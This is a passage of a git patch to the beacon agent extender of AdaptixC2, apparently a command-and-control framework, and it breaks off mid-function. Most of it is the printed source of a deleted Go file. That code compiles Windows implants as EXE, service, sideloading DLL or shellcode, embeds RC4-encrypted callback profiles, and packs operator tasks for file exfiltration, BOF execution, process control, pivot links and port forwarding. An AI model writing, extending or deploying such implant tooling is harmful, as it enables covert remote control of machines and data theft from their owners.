From 746ab971f6855cbfc2bec2ad47f77ef2c4cf2710 Mon Sep 17 00:00:00 2001 From: Ralf Date: Wed, 7 Jan 2026 23:21:18 +0300 Subject: [PATCH] beacon agent extender upgrade --- .../extenders/beacon_agent/ax_config.axs | 42 +- .../extenders/beacon_agent/config.json | 2 +- .../extenders/beacon_agent/pl_agent.go | 2224 ---------------- .../extenders/beacon_agent/pl_main.go | 2354 +++++++++++++++-- .../extenders/beacon_agent/pl_utils.go | 149 ++ 5 files changed, 2325 insertions(+), 2446 deletions(-) delete mode 100644 AdaptixServer/extenders/beacon_agent/pl_agent.go diff --git a/AdaptixServer/extenders/beacon_agent/ax_config.axs b/AdaptixServer/extenders/beacon_agent/ax_config.axs index cbf61a5c..49c9d19f 100644 --- a/AdaptixServer/extenders/beacon_agent/ax_config.axs +++ b/AdaptixServer/extenders/beacon_agent/ax_config.axs @@ -275,7 +275,6 @@ function RegisterCommands(listenerType) let commands_dns = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact, cmd_burst] ); - return { commands_windows: commands_dns } } else if(listenerType == "BeaconHTTP") { @@ -324,7 +323,6 @@ function GenerateUI(listenerType) let labelDnsResolvers = form.create_label("DNS Resolvers:"); let textDnsResolvers = form.create_textline(""); textDnsResolvers.setPlaceholder("8.8.8.8,1.1.1.1,9.9.9.9"); - if(listenerType != "BeaconDNS") { labelDnsResolvers.setVisible(false); textDnsResolvers.setVisible(false); @@ -351,27 +349,27 @@ function GenerateUI(listenerType) let spacer2 = form.create_vspacer(); let layout = form.create_gridlayout(); - layout.addWidget(spacer1, 0, 0, 1, 3); - layout.addWidget(labelArch, 1, 0, 1, 1); - layout.addWidget(comboArch, 1, 1, 1, 2); - layout.addWidget(labelFormat, 2, 0, 1, 1); - layout.addWidget(comboFormat, 2, 1, 1, 2); - layout.addWidget(labelSleep, 3, 0, 1, 1); - layout.addWidget(textSleep, 3, 1, 1, 1); - layout.addWidget(spinJitter, 3, 2, 1, 1); - layout.addWidget(labelDnsResolvers, 4, 0, 1, 1); - layout.addWidget(textDnsResolvers, 4, 1, 1, 2); - layout.addWidget(checkKilldate, 5, 0, 1, 1); - layout.addWidget(dateKill, 5, 1, 1, 1); - layout.addWidget(timeKill, 5, 2, 1, 1); - layout.addWidget(checkWorkingTime, 6, 0, 1, 1); - layout.addWidget(timeStart, 6, 1, 1, 1); - layout.addWidget(timeFinish, 6, 2, 1, 1); - layout.addWidget(labelSvcName, 7, 0, 1, 1); - layout.addWidget(textSvcName, 7, 1, 1, 2); - layout.addWidget(checkSideloading, 8, 0, 1, 1); + layout.addWidget(spacer1, 0, 0, 1, 3); + layout.addWidget(labelArch, 1, 0, 1, 1); + layout.addWidget(comboArch, 1, 1, 1, 2); + layout.addWidget(labelFormat, 2, 0, 1, 1); + layout.addWidget(comboFormat, 2, 1, 1, 2); + layout.addWidget(labelSleep, 3, 0, 1, 1); + layout.addWidget(textSleep, 3, 1, 1, 1); + layout.addWidget(spinJitter, 3, 2, 1, 1); + layout.addWidget(labelDnsResolvers, 4, 0, 1, 1); + layout.addWidget(textDnsResolvers, 4, 1, 1, 2); + layout.addWidget(checkKilldate, 5, 0, 1, 1); + layout.addWidget(dateKill, 5, 1, 1, 1); + layout.addWidget(timeKill, 5, 2, 1, 1); + layout.addWidget(checkWorkingTime, 6, 0, 1, 1); + layout.addWidget(timeStart, 6, 1, 1, 1); + layout.addWidget(timeFinish, 6, 2, 1, 1); + layout.addWidget(labelSvcName, 7, 0, 1, 1); + layout.addWidget(textSvcName, 7, 1, 1, 2); + layout.addWidget(checkSideloading, 8, 0, 1, 1); layout.addWidget(sideloadingSelector, 8, 1, 1, 2); - layout.addWidget(spacer2, 9, 0, 1, 3); + layout.addWidget(spacer2, 9, 0, 1, 3); form.connect(comboFormat, "currentTextChanged", function(text) { if(text == "Service Exe") { diff --git a/AdaptixServer/extenders/beacon_agent/config.json b/AdaptixServer/extenders/beacon_agent/config.json index 199968bf..9bf0e5ae 100644 --- a/AdaptixServer/extenders/beacon_agent/config.json +++ b/AdaptixServer/extenders/beacon_agent/config.json @@ -5,5 +5,5 @@ "agent_name": "beacon", "agent_watermark": "be4c0149", - "listeners": [ "BeaconHTTP", "BeaconTCP", "BeaconSMB", "BeaconDoH", "BeaconDNS"] + "listeners": [ "BeaconHTTP", "BeaconTCP", "BeaconSMB", "BeaconDNS"] } \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/pl_agent.go b/AdaptixServer/extenders/beacon_agent/pl_agent.go deleted file mode 100644 index 3373882d..00000000 --- a/AdaptixServer/extenders/beacon_agent/pl_agent.go +++ /dev/null @@ -1,2224 +0,0 @@ -package main - -import ( - "bytes" - "encoding/base64" - "encoding/binary" - "encoding/hex" - "encoding/json" - "errors" - "fmt" - "math/rand" - "net" - "os" - "os/exec" - "sort" - "strconv" - "strings" - "time" - - "github.com/Adaptix-Framework/axc2" -) - -type GenerateConfig struct { - Os string `json:"os"` - Arch string `json:"arch"` - Format string `json:"format"` - Sleep string `json:"sleep"` - Jitter int `json:"jitter"` - SvcName string `json:"svcname"` - IsKillDate bool `json:"is_killdate"` - Killdate string `json:"kill_date"` - Killtime string `json:"kill_time"` - IsWorkingTime bool `json:"is_workingtime"` - StartTime string `json:"start_time"` - EndTime string `json:"end_time"` - IsSideloading bool `json:"is_sideloading"` - SideloadingContent string `json:"sideloading_content"` - // DNS-specific fields - DnsResolvers string `json:"dns_resolvers"` // e.g. "8.8.8.8,1.1.1.1,9.9.9.9" -} - -var ( - ObjectDir_http = "objects_http" - ObjectDir_smb = "objects_smb" - ObjectDir_tcp = "objects_tcp" - ObjectDir_dns = "objects_dns" - ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "Boffer", "Commander", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} - CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC" - LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -mwindows" -) - -// DNS Constants -const ( - dnsDefaultLabelSize = 48 - dnsMaxLabelSize = 63 - dnsFrameHeaderSize = 5 // flags:1 + origLen:4 - dnsCompressFlag = 0x1 -) - -func AgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) { - var ( - generateConfig GenerateConfig - err error - params []interface{} - ) - - err = json.Unmarshal([]byte(agentConfig), &generateConfig) - if err != nil { - return nil, err - } - - agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64) - if err != nil { - return nil, err - } - - kill_date := 0 - if generateConfig.IsKillDate { - dt := generateConfig.Killdate + " " + generateConfig.Killtime - t, err := time.Parse("02.01.2006 15:04:05", dt) - if err != nil { - err = errors.New("Invalid date format, use: 'DD.MM.YYYY hh:mm:ss'") - return nil, err - } - kill_date = int(t.Unix()) - } - - working_time := 0 - if generateConfig.IsWorkingTime { - t := generateConfig.StartTime + "-" + generateConfig.EndTime - working_time, err = parseStringToWorkingTime(t) - if err != nil { - return nil, err - } - } - - encrypt_key, _ := listenerMap["encrypt_key"].(string) - encryptKey, err := hex.DecodeString(encrypt_key) - if err != nil { - return nil, err - } - - protocol, _ := listenerMap["protocol"].(string) - switch protocol { - - case "http": - - var Hosts []string - var Ports []int - hosts_agent, _ := listenerMap["callback_addresses"].(string) - lines := strings.Split(strings.TrimSpace(hosts_agent), ", ") - for _, line := range lines { - line = strings.TrimSpace(line) - if line == "" { - continue - } - - host, portStr, _ := net.SplitHostPort(line) - port, _ := strconv.Atoi(portStr) - - Hosts = append(Hosts, host) - Ports = append(Ports, port) - } - c2Count := len(Hosts) - - HttpMethod, _ := listenerMap["http_method"].(string) - Ssl, _ := listenerMap["ssl"].(bool) - Uri, _ := listenerMap["uri"].(string) - ParameterName, _ := listenerMap["hb_header"].(string) - UserAgent, _ := listenerMap["user_agent"].(string) - RequestHeaders, _ := listenerMap["request_headers"].(string) - - WebPageOutput, _ := listenerMap["page-payload"].(string) - ansOffset1 := strings.Index(WebPageOutput, "<<>>") - ansOffset2 := len(WebPageOutput[ansOffset1+len("<<>>"):]) - - seconds, err := parseDurationToSeconds(generateConfig.Sleep) - if err != nil { - return nil, err - } - - params = append(params, int(agentWatermark)) - params = append(params, Ssl) - params = append(params, c2Count) - for i := 0; i < c2Count; i++ { - params = append(params, Hosts[i]) - params = append(params, Ports[i]) - } - params = append(params, HttpMethod) - params = append(params, Uri) - params = append(params, ParameterName) - params = append(params, UserAgent) - params = append(params, RequestHeaders) - params = append(params, ansOffset1) - params = append(params, ansOffset2) - params = append(params, kill_date) - params = append(params, working_time) - params = append(params, seconds) - params = append(params, generateConfig.Jitter) - - case "bind_smb": - - pipename, _ := listenerMap["pipename"].(string) - pipename = "\\\\.\\pipe\\" + pipename - - lWatermark, _ := strconv.ParseInt(listenerWM, 16, 64) - - params = append(params, int(agentWatermark)) - params = append(params, pipename) - params = append(params, int(lWatermark)) - params = append(params, kill_date) - - case "bind_tcp": - prepend, _ := listenerMap["prepend_data"].(string) - port, _ := listenerMap["port_bind"].(float64) - - lWatermark, _ := strconv.ParseInt(listenerWM, 16, 64) - - params = append(params, int(agentWatermark)) - params = append(params, prepend) - params = append(params, int(port)) - params = append(params, int(lWatermark)) - params = append(params, kill_date) - - case "dns": - params, err = buildDNSProfileParams(generateConfig, listenerMap, listenerWM, agentWatermark, kill_date, working_time) - if err != nil { - return nil, err - } - - default: - return nil, errors.New("protocol unknown") - } - - packedParams, err := PackArray(params) - if err != nil { - return nil, err - } - - cryptParams, err := RC4Crypt(packedParams, encryptKey) - if err != nil { - return nil, err - } - - profileArray := []interface{}{len(cryptParams), cryptParams, encryptKey} - packedProfile, err := PackArray(profileArray) - if err != nil { - return nil, err - } - - profileString := "" - for _, b := range packedProfile { - profileString += fmt.Sprintf("\\x%02x", b) - } - - return []byte(profileString), nil -} - -func AgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) { - var ( - generateConfig GenerateConfig - ConnectorFile string - ObjectDir string - Compiler string - Ext string - stubPath string - Filename string - buildPath string - cmdConfig string - extraLibs string - stdout bytes.Buffer - stderr bytes.Buffer - ) - - cFlags := CFlags - lFlags := LFlags - - err := json.Unmarshal([]byte(agentConfig), &generateConfig) - if err != nil { - return nil, "", err - } - - currentDir := ModuleDir - tempDir, err := os.MkdirTemp("", "ax-*") - if err != nil { - return nil, "", err - } - - protocol, _ := listenerMap["protocol"].(string) - if protocol == "http" { - ObjectDir = ObjectDir_http - ConnectorFile = "ConnectorHTTP" - } else if protocol == "bind_smb" { - ObjectDir = ObjectDir_smb - ConnectorFile = "ConnectorSMB" - } else if protocol == "bind_tcp" { - ObjectDir = ObjectDir_tcp - ConnectorFile = "ConnectorTCP" - } else if protocol == "dns" { - ObjectDir = ObjectDir_dns - ConnectorFile = "ConnectorDNS" - extraLibs = "-lws2_32" - } else { - return nil, "", errors.New("protocol unknown") - } - - if generateConfig.Arch == "x86" { - Compiler = "i686-w64-mingw32-g++" - Ext = ".x86.o" - stubPath = currentDir + "/" + ObjectDir + "/stub.x86.bin" - Filename = "agent.x86" - } else { - Compiler = "x86_64-w64-mingw32-g++" - Ext = ".x64.o" - stubPath = currentDir + "/" + ObjectDir + "/stub.x64.bin" - Filename = "agent.x64" - } - - svcName := "" - for _, char := range generateConfig.SvcName { - svcName += fmt.Sprintf("\\x%02x", char) - } - - agentProfileSize := len(agentProfile) / 4 - if generateConfig.Format == "Service Exe" { - cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DBUILD_SVC -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, svcName, string(agentProfile), agentProfileSize, tempDir) - } else { - cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, string(agentProfile), agentProfileSize, tempDir) - } - runnerCmdConfig := exec.Command("sh", "-c", cmdConfig) - runnerCmdConfig.Dir = currentDir - runnerCmdConfig.Stdout = &stdout - runnerCmdConfig.Stderr = &stderr - err = runnerCmdConfig.Run() - if err != nil { - _ = os.RemoveAll(tempDir) - return nil, "", errors.New(string(stderr.Bytes())) - } - - Files := tempDir + "/config.o " - Files += ObjectDir + "/" + ConnectorFile + Ext + " " - for _, ofile := range ObjectFiles { - Files += ObjectDir + "/" + ofile + Ext + " " - } - // DNS beacon requires compression module and utilities - if protocol == "dns" { - Files = appendDNSObjectFiles(Files, ObjectDir, Ext) - } - - if generateConfig.Format == "Exe" { - Files += ObjectDir + "/main" + Ext - buildPath = tempDir + "/file.exe" - Filename += ".exe" - } else if generateConfig.Format == "Service Exe" { - Files += ObjectDir + "/main_service" + Ext - buildPath = tempDir + "/svc.exe" - Filename = "svc_" + Filename + ".exe" - } else if generateConfig.Format == "DLL" { - Files += ObjectDir + "/main_dll" + Ext - lFlags += " -shared" - buildPath = tempDir + "/file.dll" - Filename += ".dll" - if generateConfig.IsSideloading { - sideloadingContent, err := base64.StdEncoding.DecodeString(generateConfig.SideloadingContent) - if err != nil { - return nil, "", errors.New("unknown sideloading DLL format") - } - defPath, err := CreateDefinitionFile(sideloadingContent, tempDir) - if err != nil { - return nil, "", err - } - lFlags += " " + defPath - } - } else if generateConfig.Format == "Shellcode" { - Files += ObjectDir + "/main_shellcode" + Ext - lFlags += " -shared" - buildPath = tempDir + "/file.dll" - Filename += ".bin" - } else { - _ = os.RemoveAll(tempDir) - return nil, "", errors.New("unknown file format") - } - - cmdBuild := fmt.Sprintf("%s %s %s %s -o %s", Compiler, lFlags, Files, extraLibs, buildPath) - runnerCmdBuild := exec.Command("sh", "-c", cmdBuild) - runnerCmdBuild.Dir = currentDir - runnerCmdBuild.Stdout = &stdout - runnerCmdBuild.Stderr = &stderr - err = runnerCmdBuild.Run() - if err != nil { - _ = os.RemoveAll(tempDir) - return nil, "", fmt.Errorf("%v: %s", err, stderr.String()) - } - - buildContent, err := os.ReadFile(buildPath) - if err != nil { - return nil, "", err - } - _ = os.RemoveAll(tempDir) - - if generateConfig.Format == "Shellcode" { - stubContent, err := os.ReadFile(stubPath) - if err != nil { - return nil, "", err - } - - return append(stubContent, buildContent...), Filename, nil - - } else { - return buildContent, Filename, nil - } -} - -func CreateAgent(ts Teamserver, initialData []byte) (adaptix.AgentData, error) { - var agent adaptix.AgentData - - /// START CODE HERE - - packer := CreatePacker(initialData) - - if false == packer.CheckPacker([]string{"int", "int", "int", "int", "word", "word", "byte", "word", "word", "int", "byte", "byte", "int", "byte", "array", "array", "array", "array", "array"}) { - return agent, errors.New("error agent data") - } - - agent.Sleep = packer.ParseInt32() - agent.Jitter = packer.ParseInt32() - agent.KillDate = int(packer.ParseInt32()) - agent.WorkingTime = int(packer.ParseInt32()) - agent.ACP = int(packer.ParseInt16()) - agent.OemCP = int(packer.ParseInt16()) - agent.GmtOffset = int(packer.ParseInt8()) - agent.Pid = fmt.Sprintf("%v", packer.ParseInt16()) - agent.Tid = fmt.Sprintf("%v", packer.ParseInt16()) - - buildNumber := packer.ParseInt32() - majorVersion := packer.ParseInt8() - minorVersion := packer.ParseInt8() - internalIp := packer.ParseInt32() - flag := packer.ParseInt8() - - agent.Arch = "x32" - if (flag & 0b00000001) > 0 { - agent.Arch = "x64" - } - - systemArch := "x32" - if (flag & 0b00000010) > 0 { - systemArch = "x64" - } - - agent.Elevated = false - if (flag & 0b00000100) > 0 { - agent.Elevated = true - } - - IsServer := false - if (flag & 0b00001000) > 0 { - IsServer = true - } - - agent.InternalIP = int32ToIPv4(internalIp) - agent.Os, agent.OsDesc = GetOsVersion(majorVersion, minorVersion, buildNumber, IsServer, systemArch) - - agent.SessionKey = packer.ParseBytes() - agent.Domain = string(packer.ParseBytes()) - agent.Computer = string(packer.ParseBytes()) - agent.Username = ts.TsConvertCpToUTF8(string(packer.ParseBytes()), agent.ACP) - agent.Process = ts.TsConvertCpToUTF8(string(packer.ParseBytes()), agent.ACP) - - /// END CODE - - return agent, nil -} - -func AgentEncryptData(data []byte, key []byte) ([]byte, error) { - /// START CODE - return RC4Crypt(data, key) - /// END CODE -} - -func AgentDecryptData(data []byte, key []byte) ([]byte, error) { - /// START CODE - return RC4Crypt(data, key) - /// END CODE -} - -/// TASKS - -func PackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte, error) { - var packData []byte - - /// START CODE HERE - - var ( - array []interface{} - err error - ) - - for _, taskData := range tasksArray { - taskId, err := strconv.ParseInt(taskData.TaskId, 16, 64) - if err != nil { - return nil, err - } - array = append(array, taskData.Data) - array = append(array, int(taskId)) - } - - packData, err = PackArray(array) - if err != nil { - return nil, err - } - - size := make([]byte, 4) - binary.LittleEndian.PutUint32(size, uint32(len(packData))) - packData = append(size, packData...) - - /// END CODE - - return packData, nil -} - -func PackPivotTasks(pivotId string, data []byte) ([]byte, error) { - id, _ := strconv.ParseInt(pivotId, 16, 64) - array := []interface{}{COMMAND_PIVOT_EXEC, int(id), len(data), data} - return PackArray(array) -} - -func CreateTaskCommandSaveMemory(ts Teamserver, agentId string, buffer []byte) int { - chunkSize := 0x100000 // 1Mb - memoryId := int(rand.Uint32()) - - bufferSize := len(buffer) - - taskData := adaptix.TaskData{ - Type: TYPE_TASK, - AgentId: agentId, - Sync: false, - } - - for start := 0; start < bufferSize; start += chunkSize { - fin := start + chunkSize - if fin > bufferSize { - fin = bufferSize - } - - array := []interface{}{COMMAND_SAVEMEMORY, memoryId, bufferSize, fin - start, buffer[start:fin]} - taskData.Data, _ = PackArray(array) - taskData.TaskId = fmt.Sprintf("%08x", rand.Uint32()) - - ts.TsTaskCreate(agentId, "", "", taskData) - } - return memoryId -} - -func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { - var ( - taskData adaptix.TaskData - messageData adaptix.ConsoleMessageData - err error - ) - - command, ok := args["command"].(string) - if !ok { - return taskData, messageData, errors.New("'command' must be set") - } - subcommand, _ := args["subcommand"].(string) - - taskData = adaptix.TaskData{ - Type: TYPE_TASK, - Sync: true, - } - - messageData = adaptix.ConsoleMessageData{ - Status: MESSAGE_INFO, - Text: "", - } - messageData.Message, _ = args["message"].(string) - - /// START CODE HERE - - var array []interface{} - - switch command { - - case "cat": - path, ok := args["path"].(string) - if !ok { - err = errors.New("parameter 'path' must be set") - goto RET - } - array = []interface{}{COMMAND_CAT, ts.TsConvertUTF8toCp(path, agent.ACP)} - - case "cd": - path, ok := args["path"].(string) - if !ok { - err = errors.New("parameter 'path' must be set") - goto RET - } - array = []interface{}{COMMAND_CD, ts.TsConvertUTF8toCp(path, agent.ACP)} - - case "cp": - src, ok := args["src"].(string) - if !ok { - err = errors.New("parameter 'src' must be set") - goto RET - } - dst, ok := args["dst"].(string) - if !ok { - err = errors.New("parameter 'dst' must be set") - goto RET - } - array = []interface{}{COMMAND_COPY, ts.TsConvertUTF8toCp(src, agent.ACP), ts.TsConvertUTF8toCp(dst, agent.ACP)} - - case "disks": - array = []interface{}{COMMAND_DISKS} - - case "download": - path, ok := args["file"].(string) - if !ok { - err = errors.New("parameter 'file' must be set") - goto RET - } - array = []interface{}{COMMAND_DOWNLOAD, ts.TsConvertUTF8toCp(path, agent.ACP)} - - case "execute": - if subcommand == "bof" { - taskData.Type = TYPE_JOB - - bofFile, ok := args["bof"].(string) - if !ok { - err = errors.New("parameter 'bof' must be set") - goto RET - } - bofContent, err := base64.StdEncoding.DecodeString(bofFile) - if err != nil { - goto RET - } - - var params []byte - paramData, ok := args["param_data"].(string) - if ok { - params, err = base64.StdEncoding.DecodeString(paramData) - if err != nil { - params = []byte(paramData) - params = append(params, 0) - } - } - - array = []interface{}{COMMAND_EXEC_BOF, "go", len(bofContent), bofContent, len(params), params} - } else { - err = errors.New("subcommand must be 'bof'") - goto RET - } - - case "exfil": - fid, ok := args["file_id"].(string) - if !ok { - err = errors.New("parameter 'file_id' must be set") - goto RET - } - - fileId, parseErr := strconv.ParseInt(fid, 16, 64) - if parseErr != nil { - err = parseErr - goto RET - } - - if subcommand == "cancel" { - array = []interface{}{COMMAND_EXFIL, DOWNLOAD_STATE_CANCELED, int(fileId)} - } else if subcommand == "stop" { - array = []interface{}{COMMAND_EXFIL, DOWNLOAD_STATE_STOPPED, int(fileId)} - } else if subcommand == "start" { - array = []interface{}{COMMAND_EXFIL, DOWNLOAD_STATE_RUNNING, int(fileId)} - } else { - err = errors.New("subcommand must be 'cancel', 'start' or 'stop'") - goto RET - } - - case "getuid": - array = []interface{}{COMMAND_GETUID} - - case "jobs": - if subcommand == "list" { - array = []interface{}{COMMAND_JOB_LIST} - - } else if subcommand == "kill" { - job, ok := args["task_id"].(string) - if !ok { - err = errors.New("parameter 'task_id' must be set") - goto RET - } - - jobId, parseErr := strconv.ParseInt(job, 16, 64) - if parseErr != nil { - err = parseErr - goto RET - } - - array = []interface{}{COMMAND_JOBS_KILL, int(jobId)} - } else { - err = errors.New("subcommand must be 'list' or 'kill'") - goto RET - } - - case "link": - //if subcommand == "list" { - // //array = []interface{}{COMMAND_PS_LIST} - //} else - if subcommand == "smb" { - target, ok := args["target"].(string) - if !ok { - err = errors.New("parameter 'target' must be set") - goto RET - } - pipename, ok := args["pipename"].(string) - if !ok { - err = errors.New("parameter 'pipename' must be set") - goto RET - } - pipe := fmt.Sprintf("\\\\%s\\pipe\\%s", target, pipename) - - array = []interface{}{COMMAND_LINK, 1, pipe} - - } else if subcommand == "tcp" { - target, ok := args["target"].(string) - if !ok { - err = errors.New("parameter 'target' must be set") - goto RET - } - port, ok := args["port"].(float64) - if !ok { - err = errors.New("parameter 'port' must be set") - goto RET - } - array = []interface{}{COMMAND_LINK, 2, target, int(port)} - - } else { - err = errors.New("subcommand must be 'smb' or 'tcp'") - goto RET - } - - case "ls": - dir, ok := args["directory"].(string) - if !ok { - err = errors.New("parameter 'directory' must be set") - goto RET - } - dir = ts.TsConvertUTF8toCp(dir, agent.ACP) - - array = []interface{}{COMMAND_LS, dir} - - case "lportfwd": - taskData.Type = TYPE_TUNNEL - - lportNumber, ok := args["lport"].(float64) - lport := int(lportNumber) - if ok { - if lport < 1 || lport > 65535 { - err = errors.New("port must be from 1 to 65535") - goto RET - } - } - - if subcommand == "start" { - lhost, ok := args["lhost"].(string) - if !ok { - err = errors.New("parameter 'lhost' must be set") - goto RET - } - fhost, ok := args["fwdhost"].(string) - if !ok { - err = errors.New("parameter 'fwdhost' must be set") - goto RET - } - fportNumber, ok := args["fwdport"].(float64) - fport := int(fportNumber) - if ok { - if fport < 1 || fport > 65535 { - err = errors.New("port must be from 1 to 65535") - goto RET - } - } - - tunnelId, err := ts.TsTunnelCreateLportfwd(agent.Id, "", lhost, lport, fhost, fport) - if err != nil { - goto RET - } - taskData.TaskId, err = ts.TsTunnelStart(tunnelId) - if err != nil { - goto RET - } - - taskData.Message = fmt.Sprintf("Started local port forwarding on %s:%d to %s:%d", lhost, lport, fhost, fport) - taskData.MessageType = MESSAGE_SUCCESS - taskData.ClearText = "\n" - - } else if subcommand == "stop" { - taskData.Completed = true - - ts.TsTunnelStopLportfwd(agent.Id, lport) - - taskData.Message = fmt.Sprintf("Local port forwarding on %d stopped", lport) - taskData.MessageType = MESSAGE_SUCCESS - taskData.ClearText = "\n" - - } else { - err = errors.New("subcommand must be 'start' or 'stop'") - goto RET - } - - case "mv": - src, ok := args["src"].(string) - if !ok { - err = errors.New("parameter 'src' must be set") - goto RET - } - dst, ok := args["dst"].(string) - if !ok { - err = errors.New("parameter 'dst' must be set") - goto RET - } - array = []interface{}{COMMAND_MV, ts.TsConvertUTF8toCp(src, agent.ACP), ts.TsConvertUTF8toCp(dst, agent.ACP)} - - case "mkdir": - path, ok := args["path"].(string) - if !ok { - err = errors.New("parameter 'path' must be set") - goto RET - } - array = []interface{}{COMMAND_MKDIR, ts.TsConvertUTF8toCp(path, agent.ACP)} - - case "profile": - if subcommand == "download.chunksize" { - size, ok := args["size"].(float64) - if !ok { - err = errors.New("parameter 'size' must be set") - goto RET - } - array = []interface{}{COMMAND_PROFILE, 2, int(size)} - - } else if subcommand == "killdate" { - dt, ok := args["datetime"].(string) - if !ok { - err = errors.New("parameter 'datetime' must be set") - goto RET - } - - killDate := 0 - if dt != "0" { - t, err := time.Parse("02.01.2006 15:04:05", dt) - if err != nil { - err = errors.New("Invalid date format, use: 'DD.MM.YYYY hh:mm:ss'") - goto RET - } - killDate = int(t.Unix()) - // KillDate = utils.EpochTimeToSystemTime(KillDate) - } - array = []interface{}{COMMAND_PROFILE, 3, killDate} - - } else if subcommand == "workingtime" { - t, ok := args["time"].(string) - if !ok { - err = errors.New("parameter 'time' must be set") - goto RET - } - - workingTime := 0 - if t != "0" { - workingTime, err = parseStringToWorkingTime(t) - if err != nil { - goto RET - } - } - array = []interface{}{COMMAND_PROFILE, 4, workingTime} - - } else { - err = errors.New("subcommand for 'profile' not found") - goto RET - } - - case "ps": - if subcommand == "list" { - array = []interface{}{COMMAND_PS_LIST} - - } else if subcommand == "kill" { - pid, ok := args["pid"].(float64) - if !ok { - err = errors.New("parameter 'pid' must be set") - goto RET - } - array = []interface{}{COMMAND_PS_KILL, int(pid)} - - } else if subcommand == "run" { - taskData.Type = TYPE_JOB - - output, _ := args["-o"].(bool) - suspend, _ := args["-s"].(bool) - programState := 0 - if suspend { - programState = 4 - } - programArgs, ok := args["args"].(string) - if ok { - programArgs = ts.TsConvertUTF8toCp(programArgs, agent.ACP) - } - - array = []interface{}{COMMAND_PS_RUN, output, programState, programArgs} - - } else { - err = errors.New("subcommand must be 'list', 'kill' or 'run'") - goto RET - } - - case "pwd": - array = []interface{}{COMMAND_PWD} - - case "rev2self": - array = []interface{}{COMMAND_REV2SELF} - - case "rm": - path, ok := args["path"].(string) - if !ok { - err = errors.New("parameter 'path' must be set") - goto RET - } - array = []interface{}{COMMAND_RM, ts.TsConvertUTF8toCp(path, agent.ACP)} - - case "rportfwd": - taskData.Type = TYPE_TUNNEL - - lportNumber, ok := args["lport"].(float64) - lport := int(lportNumber) - if ok { - if lport < 1 || lport > 65535 { - err = errors.New("port must be from 1 to 65535") - goto RET - } - } - - if subcommand == "start" { - fhost, ok := args["fwdhost"].(string) - if !ok { - err = errors.New("parameter 'fwdhost' must be set") - goto RET - } - fportNumber, ok := args["fwdport"].(float64) - fport := int(fportNumber) - if ok { - if fport < 1 || fport > 65535 { - err = errors.New("port must be from 1 to 65535") - goto RET - } - } - - tunnelId, err := ts.TsTunnelCreateRportfwd(agent.Id, "", lport, fhost, fport) - if err != nil { - goto RET - } - taskData.TaskId, err = ts.TsTunnelStart(tunnelId) - if err != nil { - goto RET - } - - messageData.Message = fmt.Sprintf("Starting reverse port forwarding %d to %s:%d", lport, fhost, fport) - messageData.Status = MESSAGE_INFO - - } else if subcommand == "stop" { - taskData.Completed = true - - ts.TsTunnelStopRportfwd(agent.Id, lport) - - taskData.MessageType = MESSAGE_SUCCESS - taskData.Message = "Reverse port forwarding has been stopped" - - } else { - err = errors.New("subcommand must be 'start' or 'stop'") - goto RET - } - - case "sleep": - var ( - sleepTime int - jitter float64 - jitterTime int - jitterOk bool - ) - sleep, sleepOk := args["sleep"].(string) - if !sleepOk { - err = errors.New("parameter 'sleep' must be set") - goto RET - } - jitter, jitterOk = args["jitter"].(float64) - jitterTime = int(jitter) - - sleepInt, err := strconv.Atoi(sleep) - if err == nil { - sleepTime = sleepInt - } else { - t, err := time.ParseDuration(sleep) - if err == nil { - sleepTime = int(t.Seconds()) - } else { - err = errors.New("sleep must be in '%h%m%s' format or number of seconds") - goto RET - } - } - messageData.Message = fmt.Sprintf("Task: sleep to %v", sleep) - - if jitterOk { - if jitterTime < 0 || jitterTime > 100 { - err = errors.New("jitterTime must be from 0 to 100") - goto RET - } - messageData.Message = fmt.Sprintf("Task: sleep to %v with %v%% jitter", sleep, jitterTime) - } - - array = []interface{}{COMMAND_PROFILE, 1, sleepTime, jitterTime} - - case "burst": - if subcommand == "show" { - array = []interface{}{COMMAND_PROFILE, 6} - messageData.Message = "Task: show burst config" - } else if subcommand == "set" { - enabled, enabledOk := args["enabled"].(float64) - if !enabledOk { - err = errors.New("parameter 'enabled' must be set (1=on, 0=off)") - goto RET - } - burstEnabled := int(enabled) - if burstEnabled != 0 && burstEnabled != 1 { - err = errors.New("parameter 'enabled' must be 0 or 1") - goto RET - } - - burstSleep := 50 - if sleepVal, ok := args["sleep"].(float64); ok { - burstSleep = int(sleepVal) - if burstSleep < 0 || burstSleep > 10000 { - err = errors.New("burst sleep must be from 0 to 10000 ms") - goto RET - } - } - - burstJitter := 0 - if jitterVal, ok := args["jitter"].(float64); ok { - burstJitter = int(jitterVal) - if burstJitter < 0 || burstJitter > 90 { - err = errors.New("burst jitter must be from 0 to 90%%") - goto RET - } - } - - messageData.Message = fmt.Sprintf("Task: set burst config - %s", formatBurstStatus(burstEnabled, burstSleep, burstJitter)) - array = []interface{}{COMMAND_PROFILE, 5, 